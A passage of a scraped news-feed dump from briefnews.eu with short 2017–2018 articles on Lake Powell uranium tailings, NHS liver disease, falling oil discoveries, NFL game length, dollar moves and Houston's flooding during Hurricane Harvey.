While the situation is currently under control, there are scenarios that could upend the status quo. “The tailings could potentially become a problem if Lake Powell gets to a very, very low water level or if the lake is drained, and the tailings are exposed,” Goble says. “In this case, if someone were to dig down and expose those tailings, or the wind blows them, or people use the spot for recreational use of off-road vehicles, then there could be a health hazard.”

Bruce Rittmann, a regents’ professor in the School of Sustainable Engineering and the Built Environment at Arizona State University, agrees that the tailings currently pose no risk to people or aquatic life in the lake, but that could change if something disrupts the tailings, such as the draining of the lake or a dredging operation that stirs up sediment.

Draining the lake may sound ludicrous, but the reservoir hasn’t been full since the late 1990s, and ongoing overuse and the drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth. Some scientists predict that climate change will intensify and prolong the West’s drought cycles. If that happens and Powell becomes a red-rock canyon once again, then an old mess may finally have to be cleaned up.

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]]> https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell/feed/ 0 ‘It’s a ticking timebomb’: NHS set for liver disease crisis https://briefnews.eu/its-a-ticking-timebomb-nhs-set-for-liver-disease-crisis/ https://briefnews.eu/its-a-ticking-timebomb-nhs-set-for-liver-disease-crisis/#respond Sun, 04 Feb 2018 08:56:40 +0000 http://briefnews.eu/its-a-ticking-timebomb-nhs-set-for-liver-disease-crisis/

LIVER disease caused by obesity and poor lifestyle is a “ticking timebomb” for the NHS, experts say. Around three million Britons are believed to have dangerous levels of fat building up around their livers which could lead to organ breakdown and the need for transplants.

]]> https://briefnews.eu/its-a-ticking-timebomb-nhs-set-for-liver-disease-crisis/feed/ 0 Oil discoveries are at an all-time low — and the clock is ticking https://briefnews.eu/oil-discoveries-are-at-an-all-time-low-and-the-clock-is-ticking/ https://briefnews.eu/oil-discoveries-are-at-an-all-time-low-and-the-clock-is-ticking/#respond Sat, 23 Dec 2017 17:19:41 +0000 http://briefnews.eu/oil-discoveries-are-at-an-all-time-low-and-the-clock-is-ticking/ oil workerAndrew Burton/Getty

  • Oil discoveries in 2017 were the lowest since the 1940s, according to oil-and-gas consultancy Rystad Energy. 
  • Discoveries have fallen every year since 2014 along with company budgets for exploration. 
  • We could face a shortage in as soon as 10 years, Rystad Energy estimates. 

We’re running out of new oil. 

Explorers in 2017 discovered the least amount of oil since at least the 1940s, according to Rystad Energy, an oil and gas consultancy.

It estimated that less than seven billion barrels of oil equivalent were found this year through Thursday. Some energy companies will announce more discoveries next year in their 2017 annual reports, but Rystad expects this to increase the 2017 total by 10% at most. 

New discoveries have fallen every year since 2014, when oversupply triggered an oil crash that cut its price by more than half. The plunge forced many upstream oil producers to reduce their spending, and helps explain why discoveries are also down. 

But that’s not the only reason: explorers are finding less oil resources per field, according to Rystad. An average offshore discovery held about 100 million barrels of oil equivalent (boe) in 2017, down from 150 million boe in 2012.

The last time oil and gas companies added to their reserves by as much as they were producing was in 2006, when the so-called reserve replacement ratio reached 100%. It was down to 50% in 2012, and 11% in 2017.

This doesn’t mean we’re about to run out of crude oil. Major producers including the US have emergency reserves. Moreover, the industry’s headache for the past few years has been too much oil. The Organisation of Petroleum Exporting Countries, a cartel of big producers, has agreed to deal with the oversupply problem by cutting output until the end of 2018. 

Also, there are usually a few years in between when an oil firm makes a large discovery and when it’s ready for production. That means we can count on recent discoveries to keep our engines running for some time.

And there were some major discoveries this year, like the 1 billion barrels found off the coast of Mexico by Premier Oil, Talos Energy, and Sierra Oil & Gas.

But if oil discoveries continue trending down, we could be talking seriously about oil shortages in about a decade from now, Rystad estimates. 

“While there have been some notable successes this year, we have to face the fact that the low discovered volumes on global level represent a serious threat to the supply levels some ten years down the road,” said Sonia Mladá Passos, a senior analyst at Rystad, in a press release.  

20171221_DiscoveredResourcesPR.JPGRystad Energy

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]]> https://briefnews.eu/oil-discoveries-are-at-an-all-time-low-and-the-clock-is-ticking/feed/ 0 Let's Fix the NFL — By Keeping the Clock Ticking https://briefnews.eu/lets-fix-the-nfl-by-keeping-the-clock-ticking/ https://briefnews.eu/lets-fix-the-nfl-by-keeping-the-clock-ticking/#respond Mon, 11 Dec 2017 07:49:43 +0000 http://briefnews.eu/lets-fix-the-nfl-by-keeping-the-clock-ticking/

How long can you test the patience of fans before they tune out? Pro football may finally have found out.

Professional pigskin officially has reached full saturation. There are additional Thursday and Saturday games, along with new broadcasting platforms on Twitter and Amazon. Four times this year the league staged early games in London, so you can spend roughly 14 consecutive hours watching Sunday football. An inescapable sport was fine when our appetite for football was voracious. But now TV ratings are down. Some — including President Donald Trump — say it’s because of players protesting during the national anthem, although, as the Wall Street Journal reports, ratings actually slipped more in blue states than red states. Others believe the now-widespread knowledge about concussion risks has taken the fun out of watching athletes bash each other’s brains in.

One major problem? Even if you love your hometown team, watching an NFL game is a three-hour commitment. So here’s a suggestion: Cut the crap. It’s time to make like the football across the pond and put the NFL on a running clock.

The NFL has tried to curtail game time already through less drastic measures.

Too much of American football now is about watching players, coaches and referees mill about rather than seeing ridiculous athletes pull off scintillating feats. Last year, the average NFL game lasted three hours and seven minutes, and college was even worse, at 3:24. How much action do you get for that time investment? Well, in another Wall Street Journal analysis from 2010, after accounting for huddles, stops, commercials, timeouts and dead balls, actual game play amounted to … roughly 11 minutes.

To trim the fat, the NFL can change the rules so that pass incompletions no longer stop the clock. While football squads once pounded the rock, the current pass-happy era leads to a lot of untimed downs. Referees should ease up on the ticky-tack calls, after penalties jumped from an average of 13.9 per game to 15.6 from 2009 to 2016, according to a FiveThirtyEight analysis. And commercials, which increased from 64 to nearly 70 during that span, should be diminished.

The NFL has tried to curtail game time already through less drastic measures. In March, Roger Goodell presented plans to make games shorter, including reducing the number of commercial breaks. But he still made the breaks longer, lest the features of Ford F-150s go unappreciated. Around the halfway mark of the season, those half-measures had shaved off only about 26 seconds of average game time. Regardless, not everyone agrees game length is the problem: “The prime-time games in general haven’t been good, and people get tired of tuning into bad teams,” says Scott Kacsmar, an editor for the website Football Outsiders.

Yes, getting rid of the incompletion rule would change game strategy. It would eliminate the use of the spike, Kacsmar says, and encourage teams to pass more on first down. He believes it would limit comeback opportunities: “As a fan, I want as many two-minute drills and as much drama as possible.” But a running clock would also put a premium on getting plays off quickly, meaning more tired defenses — potentially turning snoozers into high-scoring games. Who wouldn’t make that timely trade-off?

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]]> https://briefnews.eu/lets-fix-the-nfl-by-keeping-the-clock-ticking/feed/ 0 The US dollar is ticking up https://briefnews.eu/the-us-dollar-is-ticking-up/ https://briefnews.eu/the-us-dollar-is-ticking-up/#respond Mon, 23 Oct 2017 13:07:05 +0000 http://briefnews.eu/the-us-dollar-is-ticking-up/ dollarMarkets Insider

The dollar is ticking higher on Monday.

The US dollar index was up by 0.3% at 93.99 at 8:51 a.m. ET.

The dollar “is enjoying modest gains against most currencies as prospects of both tax reform and additional monetary tightening by the Fed carry over from last week,” Marc Chandler, global head of currency strategy at Brown Brothers Harriman, said in commentary

“The Dollar Index is flirting with important resistance in the 94.00-94.25 area, which corresponds with a neckline of a bottoming pattern that would project toward 97.00, where the 200-day moving average is presently found,” he continued. “The 97.40 area matches the 50% retracement of this year’s decline.”

The index is down by nearly 9% from US President Donald Trump’s inauguration.

As for the rest of the world, here was the scoreboard at 8:54 a.m. ET:

  • The Japanese yen was down by 0.2% at 113.80 per dollar. Prime Minister Shinzo Abe’s coalition won more than two-thirds of the 465 seats that were up for grabs in Sunday’s parliamentary election.
  • The Indian rupee was up by 0.2% at 65.015 per dollar. Still, the currency has been falling over the past few weeks and recently hit a six-month low against the US dollar. “Looking ahead, the currency could weaken a little more,” Shilan Shah, India economist at Capital Economics, said in a note to clients. “But India’s reasonably strong external position means that any further depreciation in the rupee is likely to be slight and gradual.”
  • The Russian ruble was little changed at 57.4800 per dollar, while Brent crude oil, the international benchmark, was down by 0.3% at $ 57.56 per barrel.
  • The euro was down by 0.4% at 1.1734 against the dollar.
  • The British pound was little changed at 1.3175 against the dollar.

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]]> https://briefnews.eu/the-us-dollar-is-ticking-up/feed/ 0 The dollar is ticking up ahead of the Beige Book https://briefnews.eu/the-dollar-is-ticking-up-ahead-of-the-beige-book/ https://briefnews.eu/the-dollar-is-ticking-up-ahead-of-the-beige-book/#respond Wed, 18 Oct 2017 12:46:04 +0000 http://briefnews.eu/the-dollar-is-ticking-up-ahead-of-the-beige-book/ us dollarMarkets Insider

The dollar is ticking up ahead of the Beige Book.

The US dollar index was higher by 0.3% at 93.71 at 8:29 a.m. ET.

“We note the dollar is starting to look rich to our short-term cyclical models and we do not see much room for a sustainable bounce near-term,” Mark McCormick, North American head of FX strategy at TD Securities, said in emailed commentary.

“The major currencies are stuck in a tug-of-war between dollar on/dollar-off, with focus centered on the Fed’s Game of Thrones saga, budget news, and NAFTA headlines,” he added.

The Federal Reserve’s Beige Book will be out at 2 p.m. ET.

As for the rest of the world, here was the scoreboard as of 8:34 a.m. ET:

  • The British pound was down by 0.2% at 1.3163 against the dollar after data showed unemployment in the UK fell. The unemployment rate held at 4.3% in the three months to August, but unemployment did fall in the three months to August as 52,000 fewer people were out of work.
  • The Russian ruble was down by 0.2% at 57.4037 per dollar, while Brent crude oil, the international benchmark, was up by 0.9% at $ 58.38 per barrel.
  • The South African rand was down by 1.0% at 13.5240 per dollar after data showed CPI rose 0.5% month-over-month in September, above expectations of 0.3%.
  • The euro is little changed at 1.1760 against the dollar.
  • The Japanese yen was down by 0.6% at 112.84 per dollar.
  • The Indian rupee was down by 0.2% at 65.070 per dollar.

NOW WATCH: Debating the odds of a stock market correction

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]]> https://briefnews.eu/the-dollar-is-ticking-up-ahead-of-the-beige-book/feed/ 0 Houston was a ticking time-bomb for a devastating hurricane like Harvey https://briefnews.eu/houston-was-a-ticking-time-bomb-for-a-devastating-hurricane-like-harvey/ https://briefnews.eu/houston-was-a-ticking-time-bomb-for-a-devastating-hurricane-like-harvey/#respond Tue, 29 Aug 2017 02:12:02 +0000 http://briefnews.eu/houston-was-a-ticking-time-bomb-for-a-devastating-hurricane-like-harvey/ houston flood harvey 2X1Shutterstock/Reuters/Business Insider

Over the weekend, Texas’ Gulf Coast experienced record flooding and wind speeds from Hurricane Harvey, an “unprecedented” and “catastrophic” rainfall event for the state, according to the National Weather Service and National Hurricane Center.

Houston — a waterfront city with 800 miles of creeks and bayous that can easily overflow during a storm surge — was not ready. The city’s flat geography, outdated (and in some areas, blocked) drainage systems, and a recent construction boom have made it especially vulnerable to hurricanes.

Experts are calling Harvey a “500-year flood,” meaning there is a 1-in-500 annual chance that something like this could happen. Since 500-year floods are so rare, cities don’t always prepare for that kind of worst case scenario. Houston’s anti-flood policy, called the Hazard Mitigation Plan, addresses 100-year floods, not 500-year ones.

Then again, Houston has seen three 500-year floods in the past decade — in 2009, 2015, and 2016. On a national level, there were also eight 500-year flood events from August 2015 to August 2016, according to the National Weather Service. And from 2010 to 2016, the US experienced over a dozen “1,000-year floods.”

Here are a few reasons why Houston was unprepared for Harvey:

The Bayou City is “flat as a pancake.”

Dubbed the Bayou City, Houston has ten winding waterways that flow through the surrounding area and help naturally drain floodwater. 

Most of Houston’s geography is “flat as a pancake,” according to the Houston Chronicle. When Harvey made landfall, the city had trouble draining the water as fast as it fell, due partly to the city’s low incline. The water became backed up along the drainage routes, many of which were roads.

Many parts of Houston also have soil made from clay, a material that does not absorb water well.

Houston STORM HARVEYREUTERS/Nick Oxford

Developers have failed to follow the federal wetlands mandate.

Over the past two decades, over 38,000 acres of wetlands have disappeared in greater Houston, according to a 2015 Houston Chronicle report. Wetlands are areas that act like sponges for excess water. Without them, a city like Houston becomes more prone to floods. 

Construction has boomed in recent years, but not all developers have followed a federal policy (established in 1989) requiring that new developments cause “no net loss” in wetlands. Instead, wetlands have been turned into neighborhoods, office buildings, and strip malls in Houston.

hurricane harvey damageDavid J. Phillip/APNew developments are blocking drainage systems.

New developments covered in asphalt and concrete that have replaced wetlands, like parking lots and roads, have exacerbated the effects of flooding in Houston. Between 2001 and 2011, Houston’s Fort Bend County, for example, had a 53% increase in water-resistant surfaces, which block drainage systems.

And as The Wall Street Journal notes, Houston’s building regulations have also not accounted for historic flooding levels. New buildings are required to be built at 12 inches above 100-year flooding levels. In some areas of the city, Harvey has caused water levels to go above those levels.

Most of Houston’s drainage systems were also built in the early 20th century and only meant to withstand a 10-year flood. Replacing them would be expensive, though local officials are working to widen existing channels so they can sustain 25-year floods.

All of these factors added up to work against the city when Harvey, a storm of unprecedented proportions, hit Texas.

Widespread flooding from Harvey is expected for days, with up to 50 inches of rain forecasted in and around Houston. US officials say that the hurricane contributed to five deaths, a number that’s expected to rise. An estimated 30,000 people will likely need to find refuge in shelters, since flooding will linger, according to The Washington Post. At the height of the storm on Friday night, winds reached a dangerous speed of 130 mph.

While many climate scientists hesitate to link any single weather event to climate change, they say aspects of Hurricane Harvey (and other recent cyclones) suggest that global warming makes tropical cyclones worse. As ProPublica notes, climate change will likely cause more devastating storms in coming years. Harvey underscores the need for flood resilience, especially in cities that are home to millions of people.

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]]> https://briefnews.eu/houston-was-a-ticking-time-bomb-for-a-devastating-hurricane-like-harvey/feed/ 0